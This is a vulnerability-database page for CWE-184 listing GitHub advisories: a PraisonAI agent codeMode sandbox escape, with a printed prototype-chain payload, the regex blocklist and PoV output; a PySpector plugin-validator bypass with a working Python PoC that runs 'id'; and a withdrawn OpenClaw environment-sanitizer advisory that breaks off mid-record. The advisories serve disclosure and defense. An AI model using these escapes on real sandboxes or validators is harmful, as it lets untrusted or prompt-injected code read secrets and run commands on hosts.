Common Weakness Enumeration

CWE-184

Allowed

Incomplete List of Disallowed Inputs

Abstraction: Base · Status: Draft

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

330 vulnerabilities reference this CWE, most recent first.

GHSA-VMMJ-PFW7-FJWP

Vulnerability from github – Published: 2026-06-18 14:26 – Updated: 2026-07-20 21:27

Summary

npm PraisonAI codeMode sandbox escape via Function constructor

Details

Summary

The published npm package praisonai exports a TypeScript built-in tool named codeMode. The package describes this tool as executing code in a sandboxed environment, marks its capability as sandbox: true, and registers it through the public tools facade.

The implementation does not create an isolation boundary. It applies a small regular-expression blocklist, sets process and require to undefined inside a plain JavaScript object, and then executes attacker-controlled code with the host process new Function constructor:

const fn = new Function('sandbox', `with (sandbox) { ${code} }`);
const result = fn(sandbox);

Because this runs in the host V8 context, code inside codeMode can use the JavaScript prototype chain to recover the real Function constructor:

({}).constructor.constructor('return process')()

From a normal CommonJS application script, the recovered process object exposes process.mainModule.require. That bypasses the explicit require('fs') and require('child_process') controls and allows host filesystem access and subprocess execution from code that was supposed to be sandboxed.

Technical Details

Current-head source says codeMode is a built-in package tool and explicitly advertises a sandbox boundary:

src/praisonai-ts/src/tools/builtins/code-mode.ts
  13: description: 'Execute code that can import and use other tools in a sandboxed environment',
  24: capabilities: {
  25:   sandbox: true,
  26:   code: true,
  28: packageName: 'praisonai',
  85: description: 'Execute code in a sandboxed environment with access to imported tools. Write files, run code, and get results.',

The same file implements security as a blocklist of exact source-code patterns:

src/praisonai-ts/src/tools/builtins/code-mode.ts
  108: const blockedPatterns = [
  109:   /require\s*\(\s*['"]child_process['"]\s*\)/,
  110:   /require\s*\(\s*['"]fs['"]\s*\)/,
  111:   /import\s+.*from\s+['"]child_process['"]/,
  112:   /process\.exit/,
  113:   /eval\s*\(/,

It then tries to hide dangerous globals by shadowing names in a normal object:

src/praisonai-ts/src/tools/builtins/code-mode.ts
  168: process: undefined,
  169: require: undefined,

Finally, it executes the untrusted code in the host process using new Function and with (sandbox):

src/praisonai-ts/src/tools/builtins/code-mode.ts
  187: const fn = new Function(
  188:   'sandbox',
  189:   `with (sandbox) { ${code} }`
  190: );
  191: const result = fn(sandbox);

This is not a sandbox. new Function does not create a separate security context, and variable shadowing does not remove access to constructors reachable through normal JavaScript objects.

The tool is reachable through the public npm SDK:

src/praisonai-ts/src/index.ts
  117: airweaveSearch, codeMode,

src/praisonai-ts/src/tools/tools.ts
  104: // Code Mode
  105: registry.register(CODE_MODE_METADATA, createCodeModeTool as ToolFactory);
  167: // Code Mode
  168: codeMode: (config?: CodeModeConfig) => codeMode(config),

Why This Is Not Intended Behavior

This is not merely "the user can execute code because codeMode executes code." The vulnerability is that code which is explicitly described and exposed as sandboxed can escape the intended restrictions.

The implementation itself proves an intended security boundary exists:

CODE_MODE_METADATA.capabilities.sandbox is true;
the tool description says it executes in a sandboxed environment;
direct access to fs and child_process is explicitly blocked;
process and require are explicitly shadowed as undefined;
allowNetwork defaults to false; and
the config includes security-relevant controls such as blockedTools, allowedPaths, timeoutMs, and maxMemoryMb.

The PoV shows those intended restrictions work for naive payloads but fail for a standard JavaScript prototype-chain escape.

PraisonAI's official JavaScript and TypeScript docs describe the npm package as a production-ready agent framework installed with npm install praisonai. Public PraisonAI advisories rate comparable Python sandbox escapes as Critical when user/LLM-supplied code crosses from a claimed sandbox into host execution.

PoV

The PoV installs a published npm package version into a temporary project and runs from a real CommonJS script file. Running from a file is important because normal Node applications expose process.mainModule.require; node -e or stdin do not always reproduce that deployment shape.

Run from a local reproduction checkout:

node poc/pov_poc.js 1.7.1

Observed result:

{
  "package": "praisonai",
  "version": "1.7.1",
  "codeModeExported": true,
  "directRequireFsControl": {
    "stderr": "Blocked pattern detected: require\\s*\\(\\s*['\"]fs['\"]\\s*\\)",
    "exitCode": 1,
    "success": false,
    "error": "Code contains blocked patterns for security"
  },
  "directChildProcessControl": {
    "stderr": "Blocked pattern detected: require\\s*\\(\\s*['\"]child_process['\"]\\s*\\)",
    "exitCode": 1,
    "success": false,
    "error": "Code contains blocked patterns for security"
  },
  "escapedProcessEnv": {
    "output": "poc",
    "exitCode": 0,
    "success": true
  },
  "escapedFilesystem": {
    "output": "fs-ok",
    "exitCode": 0,
    "success": true
  },
  "escapedCommand": {
    "output": "poc",
    "exitCode": 0,
    "success": true
  }
}

Interpretation:

direct require('fs') is blocked;
direct require('child_process') is blocked;
the Function-constructor payload recovers host process;
the escaped process reads a host environment variable;
the escaped process imports fs; and
the escaped process imports child_process and runs a harmless printf.

The PoV does not contact any LLM provider or external service after npm package installation. It does not modify host files or execute a destructive command.

PoC

The PoV section above contains the local reproduction command, input, and decisive output.

Impact

An attacker who can supply code to codeMode can escape the advertised sandbox and execute with the privileges of the Node.js PraisonAI process.

Realistic entry points include:

an application that exposes codeMode as an agent tool to end users;
an LLM/tool-call flow where prompt-controlled content reaches the code parameter;
MCP or tool-registry integrations that make the built-in codeMode tool callable; or
any multi-tenant service that relies on codeMode to safely run user or model-generated JavaScript.

Impact after escape includes:

reading process environment variables, including API keys and service tokens;
reading files available to the Node process;
spawning subprocesses with child_process;
writing or modifying files through host filesystem APIs; and
terminating or resource-exhausting the host process.

Severity

Suggested severity: Critical.

Rationale:

AV: codeMode is a designated agent/tool surface and can be reached over the network in standard agent applications that expose tool calls to users or LLM-controlled workflows.
AC: a single code payload is enough.
PR: the attacker needs the ability to submit code or prompt-controlled content to an agent/tool flow.
UI: no additional user interaction is required once the tool is invoked.
S: execution crosses from the advertised sandbox security scope into the host Node.js process.
C: host files and environment variables are readable.
I: host subprocess and filesystem APIs are reachable.
A: escaped code can terminate processes or consume host resources.

Suggested Fix

Do not use host-process new Function plus source-code blocklists as a sandbox.

Recommended fix direction:

Disable or clearly mark npm codeMode as unsafe until a real isolation boundary exists.
Execute untrusted code in a separate OS process, container, worker isolate, or similar boundary with a restricted user, minimal environment, temporary working directory, no inherited secrets, and explicit IPC for allowed tool calls.
Enforce allowNetwork, allowedPaths, timeoutMs, maxMemoryMb, allowedTools, and blockedTools at that boundary instead of by scanning source strings.
Do not rely on node:vm alone for untrusted code. The Node.js documentation explicitly says the vm module is not a security mechanism.
Add regression tests for:
direct require('fs') and require('child_process') blocked controls;
({}).constructor.constructor('return process')() blocked;
process.mainModule.require('fs') unavailable;
process.mainModule.require('child_process') unavailable;
host environment variables unavailable unless explicitly passed; and
tool-call IPC still works for allowed tools.

If maintainers need an emergency mitigation before a real sandbox exists, reject codeMode execution unless the caller opts into "unsafe host JS execution" with clear documentation that it can access the full Node process.

Affected Package/Versions

Repository: MervinPraison/PraisonAI
Ecosystem: npm
Package: praisonai
Component: src/praisonai-ts/src/tools/builtins/code-mode.ts
Current npm version checked: 1.7.1
Refreshed origin/main checked: 1ad58ca02975ff1398efeda694ea2ab78f20cf3e

Confirmed affected range:

>= 1.4.0, <= 1.7.1

Boundary:

1.3.6 does not export codeMode and does not ship dist/tools/builtins/code-mode.js.

No fixed npm version is known at the time of this report.

Version Sweep

The included sweep installs selected npm versions and runs the same vulnerable shape from a script file:

node poc/version_sweep_poc.js

Observed result:

1.3.6: codeModeExported=false, hasDistCodeMode=false
1.4.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.5.4: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.6.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.7.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.7.1: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true

Git history for the TypeScript file points to the 1.4.0 integration:

56f36e25 feat: bump version to 1.4.0 and add AI SDK integration dependencies
2bad9a50 feat: bump version to 1.4.0 and add AI SDK integration dependencies

Advisory History

Checked:

visible PraisonAI advisories and prior reports;
public GitHub advisory search results for PraisonAI codeMode, npm, sandbox, new Function, process, and child_process; and
visible public PraisonAI advisories for sandbox escapes.

Closest related advisories are Python/PyPI scoped and do not cover this npm TypeScript implementation:

GHSA-qf73-2hrx-xprp / CVE-2026-39888: pip:praisonaiagents execute_code() frame traversal in a Python subprocess sandbox.
GHSA-4mr5-g6f9-cfrh / CVE-2026-47392: pip:praisonai Python execute_code() sandbox escape through print.__self__.
Other published PraisonAI sandbox advisories cover Python execute_code, SubprocessSandbox, Sandlock/native fallback, or CLI/managed-agent bridges.

This report is distinct because it targets:

ecosystem: npm;
package: praisonai;
component: src/praisonai-ts/src/tools/builtins/code-mode.ts;
root cause: host-context new Function plus blocklist/name-shadowing sandbox; and
affected range: >= 1.4.0, <= 1.7.1.

One private npm report has already been submitted for TypeScript AgentOS missing authentication (GHSA-9752-mhqh-h34f). That is also distinct: it covers unauthenticated HTTP agent listing/invocation, not a codeMode sandbox escape.

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57138"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:26:32Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe published npm package `praisonai` exports a TypeScript built-in tool named `codeMode`. The package describes this tool as executing code in a sandboxed environment, marks its capability as `sandbox: true`, and registers it through the public tools facade.\n\nThe implementation does not create an isolation boundary. It applies a small regular-expression blocklist, sets `process` and `require` to `undefined` inside a plain JavaScript object, and then executes attacker-controlled code with the host process `new Function` constructor:\n\n```text\nconst fn = new Function(\u0027sandbox\u0027, `with (sandbox) { ${code} }`);\nconst result = fn(sandbox);\n```\n\nBecause this runs in the host V8 context, code inside `codeMode` can use the JavaScript prototype chain to recover the real `Function` constructor:\n\n```text\n({}).constructor.constructor(\u0027return process\u0027)()\n```\n\nFrom a normal CommonJS application script, the recovered `process` object exposes `process.mainModule.require`. That bypasses the explicit `require(\u0027fs\u0027)` and `require(\u0027child_process\u0027)` controls and allows host filesystem access and subprocess execution from code that was supposed to be sandboxed.\n\n## Technical Details\n\nCurrent-head source says `codeMode` is a built-in package tool and explicitly advertises a sandbox boundary:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n  13: description: \u0027Execute code that can import and use other tools in a sandboxed environment\u0027,\n  24: capabilities: {\n  25:   sandbox: true,\n  26:   code: true,\n  28: packageName: \u0027praisonai\u0027,\n  85: description: \u0027Execute code in a sandboxed environment with access to imported tools. Write files, run code, and get results.\u0027,\n```\n\nThe same file implements security as a blocklist of exact source-code patterns:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n  108: const blockedPatterns = [\n  109:   /require\\s*\\(\\s*[\u0027\"]child_process[\u0027\"]\\s*\\)/,\n  110:   /require\\s*\\(\\s*[\u0027\"]fs[\u0027\"]\\s*\\)/,\n  111:   /import\\s+.*from\\s+[\u0027\"]child_process[\u0027\"]/,\n  112:   /process\\.exit/,\n  113:   /eval\\s*\\(/,\n```\n\nIt then tries to hide dangerous globals by shadowing names in a normal object:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n  168: process: undefined,\n  169: require: undefined,\n```\n\nFinally, it executes the untrusted code in the host process using `new Function` and `with (sandbox)`:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n  187: const fn = new Function(\n  188:   \u0027sandbox\u0027,\n  189:   `with (sandbox) { ${code} }`\n  190: );\n  191: const result = fn(sandbox);\n```\n\nThis is not a sandbox. `new Function` does not create a separate security context, and variable shadowing does not remove access to constructors reachable through normal JavaScript objects.\n\nThe tool is reachable through the public npm SDK:\n\n```text\nsrc/praisonai-ts/src/index.ts\n  117: airweaveSearch, codeMode,\n\nsrc/praisonai-ts/src/tools/tools.ts\n  104: // Code Mode\n  105: registry.register(CODE_MODE_METADATA, createCodeModeTool as ToolFactory);\n  167: // Code Mode\n  168: codeMode: (config?: CodeModeConfig) =\u003e codeMode(config),\n```\n\n### Why This Is Not Intended Behavior\n\nThis is not merely \"the user can execute code because codeMode executes code.\" The vulnerability is that code which is explicitly described and exposed as sandboxed can escape the intended restrictions.\n\nThe implementation itself proves an intended security boundary exists:\n\n- `CODE_MODE_METADATA.capabilities.sandbox` is `true`;\n- the tool description says it executes in a sandboxed environment;\n- direct access to `fs` and `child_process` is explicitly blocked;\n- `process` and `require` are explicitly shadowed as `undefined`;\n- `allowNetwork` defaults to `false`; and\n- the config includes security-relevant controls such as `blockedTools`, `allowedPaths`, `timeoutMs`, and `maxMemoryMb`.\n\nThe PoV shows those intended restrictions work for naive payloads but fail for a standard JavaScript prototype-chain escape.\n\nPraisonAI\u0027s official JavaScript and TypeScript docs describe the npm package as a production-ready agent framework installed with `npm install praisonai`. Public PraisonAI advisories rate comparable Python sandbox escapes as Critical when user/LLM-supplied code crosses from a claimed sandbox into host execution.\n\n## PoV\n\nThe PoV installs a published npm package version into a temporary project and runs from a real CommonJS script file. Running from a file is important because normal Node applications expose `process.mainModule.require`; `node -e` or stdin do not always reproduce that deployment shape.\n\nRun from a local reproduction checkout:\n\n```fish\nnode poc/pov_poc.js 1.7.1\n```\n\nObserved result:\n\n```json\n{\n  \"package\": \"praisonai\",\n  \"version\": \"1.7.1\",\n  \"codeModeExported\": true,\n  \"directRequireFsControl\": {\n    \"stderr\": \"Blocked pattern detected: require\\\\s*\\\\(\\\\s*[\u0027\\\"]fs[\u0027\\\"]\\\\s*\\\\)\",\n    \"exitCode\": 1,\n    \"success\": false,\n    \"error\": \"Code contains blocked patterns for security\"\n  },\n  \"directChildProcessControl\": {\n    \"stderr\": \"Blocked pattern detected: require\\\\s*\\\\(\\\\s*[\u0027\\\"]child_process[\u0027\\\"]\\\\s*\\\\)\",\n    \"exitCode\": 1,\n    \"success\": false,\n    \"error\": \"Code contains blocked patterns for security\"\n  },\n  \"escapedProcessEnv\": {\n    \"output\": \"poc\",\n    \"exitCode\": 0,\n    \"success\": true\n  },\n  \"escapedFilesystem\": {\n    \"output\": \"fs-ok\",\n    \"exitCode\": 0,\n    \"success\": true\n  },\n  \"escapedCommand\": {\n    \"output\": \"poc\",\n    \"exitCode\": 0,\n    \"success\": true\n  }\n}\n```\n\nInterpretation:\n\n- direct `require(\u0027fs\u0027)` is blocked;\n- direct `require(\u0027child_process\u0027)` is blocked;\n- the Function-constructor payload recovers host `process`;\n- the escaped process reads a host environment variable;\n- the escaped process imports `fs`; and\n- the escaped process imports `child_process` and runs a harmless `printf`.\n\nThe PoV does not contact any LLM provider or external service after npm package installation. It does not modify host files or execute a destructive command.\n\n## PoC\n\nThe PoV section above contains the local reproduction command, input, and decisive output.\n\n## Impact\n\nAn attacker who can supply code to `codeMode` can escape the advertised sandbox and execute with the privileges of the Node.js PraisonAI process.\n\nRealistic entry points include:\n\n- an application that exposes `codeMode` as an agent tool to end users;\n- an LLM/tool-call flow where prompt-controlled content reaches the `code` parameter;\n- MCP or tool-registry integrations that make the built-in `codeMode` tool callable; or\n- any multi-tenant service that relies on `codeMode` to safely run user or model-generated JavaScript.\n\nImpact after escape includes:\n\n- reading process environment variables, including API keys and service tokens;\n- reading files available to the Node process;\n- spawning subprocesses with `child_process`;\n- writing or modifying files through host filesystem APIs; and\n- terminating or resource-exhausting the host process.\n\n### Severity\n\nSuggested severity: Critical.\n\nRationale:\n\n- `AV`: `codeMode` is a designated agent/tool surface and can be reached over the network in standard agent applications that expose tool calls to users or LLM-controlled workflows.\n- `AC`: a single code payload is enough.\n- `PR`: the attacker needs the ability to submit code or prompt-controlled content to an agent/tool flow.\n- `UI`: no additional user interaction is required once the tool is invoked.\n- `S`: execution crosses from the advertised sandbox security scope into the host Node.js process.\n- `C`: host files and environment variables are readable.\n- `I`: host subprocess and filesystem APIs are reachable.\n- `A`: escaped code can terminate processes or consume host resources.\n\n## Suggested Fix\n\nDo not use host-process `new Function` plus source-code blocklists as a sandbox.\n\nRecommended fix direction:\n\n1. Disable or clearly mark npm `codeMode` as unsafe until a real isolation boundary exists.\n2. Execute untrusted code in a separate OS process, container, worker isolate, or similar boundary with a restricted user, minimal environment, temporary working directory, no inherited secrets, and explicit IPC for allowed tool calls.\n3. Enforce `allowNetwork`, `allowedPaths`, `timeoutMs`, `maxMemoryMb`, `allowedTools`, and `blockedTools` at that boundary instead of by scanning source strings.\n4. Do not rely on `node:vm` alone for untrusted code. The Node.js documentation explicitly says the `vm` module is not a security mechanism.\n5. Add regression tests for:\n   - direct `require(\u0027fs\u0027)` and `require(\u0027child_process\u0027)` blocked controls;\n   - `({}).constructor.constructor(\u0027return process\u0027)()` blocked;\n   - `process.mainModule.require(\u0027fs\u0027)` unavailable;\n   - `process.mainModule.require(\u0027child_process\u0027)` unavailable;\n   - host environment variables unavailable unless explicitly passed; and\n   - tool-call IPC still works for allowed tools.\n\nIf maintainers need an emergency mitigation before a real sandbox exists, reject `codeMode` execution unless the caller opts into \"unsafe host JS execution\" with clear documentation that it can access the full Node process.\n\n## Affected Package/Versions\n\n- Repository: `MervinPraison/PraisonAI`\n- Ecosystem: `npm`\n- Package: `praisonai`\n- Component: `src/praisonai-ts/src/tools/builtins/code-mode.ts`\n- Current npm version checked: `1.7.1`\n- Refreshed `origin/main` checked: `1ad58ca02975ff1398efeda694ea2ab78f20cf3e`\n\nConfirmed affected range:\n\n```text\n\u003e= 1.4.0, \u003c= 1.7.1\n```\n\nBoundary:\n\n```text\n1.3.6 does not export codeMode and does not ship dist/tools/builtins/code-mode.js.\n```\n\nNo fixed npm version is known at the time of this report.\n\n### Version Sweep\n\nThe included sweep installs selected npm versions and runs the same vulnerable shape from a script file:\n\n```fish\nnode poc/version_sweep_poc.js\n```\n\nObserved result:\n\n```text\n1.3.6: codeModeExported=false, hasDistCodeMode=false\n1.4.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.5.4: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.6.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.7.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.7.1: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n```\n\nGit history for the TypeScript file points to the 1.4.0 integration:\n\n```text\n56f36e25 feat: bump version to 1.4.0 and add AI SDK integration dependencies\n2bad9a50 feat: bump version to 1.4.0 and add AI SDK integration dependencies\n```\n\n## Advisory History\n\nChecked:\n\n- visible PraisonAI advisories and prior reports;\n- public GitHub advisory search results for PraisonAI `codeMode`, npm, sandbox, `new Function`, `process`, and `child_process`; and\n- visible public PraisonAI advisories for sandbox escapes.\n\nClosest related advisories are Python/PyPI scoped and do not cover this npm TypeScript implementation:\n\n- `GHSA-qf73-2hrx-xprp` / `CVE-2026-39888`: `pip:praisonaiagents` `execute_code()` frame traversal in a Python subprocess sandbox.\n- `GHSA-4mr5-g6f9-cfrh` / `CVE-2026-47392`: `pip:praisonai` Python `execute_code()` sandbox escape through `print.__self__`.\n- Other published PraisonAI sandbox advisories cover Python `execute_code`, `SubprocessSandbox`, Sandlock/native fallback, or CLI/managed-agent bridges.\n\nThis report is distinct because it targets:\n\n- ecosystem: `npm`;\n- package: `praisonai`;\n- component: `src/praisonai-ts/src/tools/builtins/code-mode.ts`;\n- root cause: host-context `new Function` plus blocklist/name-shadowing sandbox; and\n- affected range: `\u003e= 1.4.0, \u003c= 1.7.1`.\n\nOne private npm report has already been submitted for TypeScript `AgentOS` missing authentication (`GHSA-9752-mhqh-h34f`). That is also distinct: it covers unauthenticated HTTP agent listing/invocation, not a `codeMode` sandbox escape.",
  "id": "GHSA-vmmj-pfw7-fjwp",
  "modified": "2026-07-20T21:27:23Z",
  "published": "2026-06-18T14:26:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmmj-pfw7-fjwp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "npm PraisonAI codeMode sandbox escape via Function constructor"
}

GHSA-VP22-38M5-R39R

Vulnerability from github – Published: 2026-04-16 01:09 – Updated: 2026-04-24 20:53

Summary

PySpector has a Plugin Code Execution Bypass via Incomplete Static Analysis in PluginSecurity.validate_plugin_code

Details

Summary

The plugin security validator in PySpector uses AST-based static analysis to prevent dangerous code from being loaded as plugins. The blocklist implemented in PluginSecurity.validate_plugin_code is incomplete and can be bypassed using several Python constructs that are not checked. An attacker who can supply a plugin file can achieve arbitrary code execution within the PySpector process when that plugin is installed and executed.

Details

The validator maintains a set called fatal_calls that enumerates explicitly forbidden function names and attribute access patterns such as eval, exec, os.system, and subprocess.Popen. However, this approach relies on an exhaustive blocklist of known-dangerous identifiers, which is inherently incomplete.

The following bypass techniques are not detected by the current implementation:

importlib.import_module is not in fatal_calls and is not treated as a dangerous module, so it can be used to load os, subprocess, or any other module at runtime without triggering the validator.

Dynamic attribute chains using __class__.__mro__ and related dunder attributes allow traversal of the class hierarchy to reach arbitrary built-in functions without naming them directly in the source.

ctypes is not blocked and can be used to call native library functions including system.

__builtins__ dictionary access exposes all built-in callables without using the names that the validator checks.

types.CodeType allows construction and execution of raw code objects.

The alias resolution in the AST visitor only handles simple import X as Y cases, so aliased imports of blocked modules evade detection, and transitive imports through unblocked modules are never examined.

Because the validator produces a pass/fail result that gates plugin installation with the --trust flag, a bypass causes untrusted plugin code to execute with the full privileges of the PySpector process.

PoC

import textwrap, tempfile, os

evil_plugin = textwrap.dedent("""
import importlib
mod = importlib.import_module('os')
mod.system('id > /tmp/pwned')
""")

with tempfile.NamedTemporaryFile(suffix=".py", mode="w", delete=False) as f:
    f.write(evil_plugin)
    plugin_path = f.name

from pyspector.plugin_system import PluginSecurity

result = PluginSecurity.validate_plugin_code(plugin_path)
print("Validation passed:", result)

exec(compile(open(plugin_path).read(), plugin_path, "exec"))

print("Command output:", open("/tmp/pwned").read())
os.unlink(plugin_path)

Impact

Any user or process that can supply a plugin file to PySpector and invoke the plugin installation workflow can execute arbitrary operating system commands with the privileges of the PySpector process. The static analysis check provides a false sense of security, as it can be circumvented trivially using standard library modules that are present in every Python installation. All versions of PySpector that include the plugin system are affected.

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.7"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pyspector"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41206"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T01:09:17Z",
    "nvd_published_at": "2026-04-23T02:16:18Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe plugin security validator in PySpector uses AST-based static analysis to prevent dangerous code from being loaded as plugins. The blocklist implemented in `PluginSecurity.validate_plugin_code` is incomplete and can be bypassed using several Python constructs that are not checked. An attacker who can supply a plugin file can achieve arbitrary code execution within the PySpector process when that plugin is installed and executed.\n\n### Details\n\nThe validator maintains a set called `fatal_calls` that enumerates explicitly forbidden function names and attribute access patterns such as eval, exec, `os.system`, and `subprocess.Popen`. However, this approach relies on an exhaustive blocklist of known-dangerous identifiers, which is inherently incomplete.\n\nThe following bypass techniques are not detected by the current implementation:\n\n`importlib.import_module` is not in `fatal_calls` and is not treated as a dangerous module, so it can be used to load os, subprocess, or any other module at runtime without triggering the validator.\n\nDynamic attribute chains using `__class__.__mro__` and related dunder attributes allow traversal of the class hierarchy to reach arbitrary built-in functions without naming them directly in the source.\n\nctypes is not blocked and can be used to call native library functions including system.\n\n`__builtins__` dictionary access exposes all built-in callables without using the names that the validator checks.\n\n`types.CodeType` allows construction and execution of raw code objects.\n\nThe alias resolution in the AST visitor only handles simple import X as Y cases, so aliased imports of blocked modules evade detection, and transitive imports through unblocked modules are never examined.\n\nBecause the validator produces a pass/fail result that gates plugin installation with the --trust flag, a bypass causes untrusted plugin code to execute with the full privileges of the PySpector process.\n\n### PoC\n\n```python\nimport textwrap, tempfile, os\n\nevil_plugin = textwrap.dedent(\"\"\"\nimport importlib\nmod = importlib.import_module(\u0027os\u0027)\nmod.system(\u0027id \u003e /tmp/pwned\u0027)\n\"\"\")\n\nwith tempfile.NamedTemporaryFile(suffix=\".py\", mode=\"w\", delete=False) as f:\n    f.write(evil_plugin)\n    plugin_path = f.name\n\nfrom pyspector.plugin_system import PluginSecurity\n\nresult = PluginSecurity.validate_plugin_code(plugin_path)\nprint(\"Validation passed:\", result)\n\nexec(compile(open(plugin_path).read(), plugin_path, \"exec\"))\n\nprint(\"Command output:\", open(\"/tmp/pwned\").read())\nos.unlink(plugin_path)\n```\n\n### Impact\n\nAny user or process that can supply a plugin file to PySpector and invoke the plugin installation workflow can execute arbitrary operating system commands with the privileges of the PySpector process. The static analysis check provides a false sense of security, as it can be circumvented trivially using standard library modules that are present in every Python installation. All versions of PySpector that include the plugin system are affected.",
  "id": "GHSA-vp22-38m5-r39r",
  "modified": "2026-04-24T20:53:36Z",
  "published": "2026-04-16T01:09:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ParzivalHack/PySpector/security/advisories/GHSA-vp22-38m5-r39r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ParzivalHack/PySpector/commit/3c9547157fc07396f22b26b3484a9a91eba98555"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ParzivalHack/PySpector/commit/4e279e078c53d760fd321ff9b698d683c65ccb8e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ParzivalHack/PySpector"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PySpector has a Plugin Code Execution Bypass via Incomplete Static Analysis in PluginSecurity.validate_plugin_code"
}

GHSA-VR6H-VXQJ-3PJX

Vulnerability from github – Published: 2026-06-16 21:32 – Updated: 2026-06-18 13:02

Summary

Duplicate Advisory: Host environment sanitizer missed two Node.js control variables

Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-ccwh-wwpp-6wg5. This link is maintained to preserve external references.

Original Description

OpenClaw before 2026.5.26 contains an insufficient sanitization vulnerability in the host environment sanitizer that allows Node.js control variables to bypass validation. Attackers with access to workspace .env files, tool environment overrides, or skill environment blocks can pass malicious Node.js control variables to influence child processes or coverage output paths.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

7.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2026.5.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:02:39Z",
    "nvd_published_at": "2026-06-16T19:17:04Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-ccwh-wwpp-6wg5. This link is maintained to preserve external references.\n\n## Original Description\n\nOpenClaw before 2026.5.26 contains an insufficient sanitization vulnerability in the host environment sanitizer that allows Node.js control variables to bypass validation. Attackers with access to workspace .env files, tool environment overrides, or skill environment blocks can pass malicious Node.js control variables to influence child processes or coverage output paths.",
  "id": "GHSA-vr6h-vxqj-3pjx",
  "modified": "2026-06-18T13:02:39Z",
  "published": "2026-06-16T21:32:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-ccwh-wwpp-6wg5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53864"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-insufficient-environment-variable-sanitization-in-node-js-control-variables"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
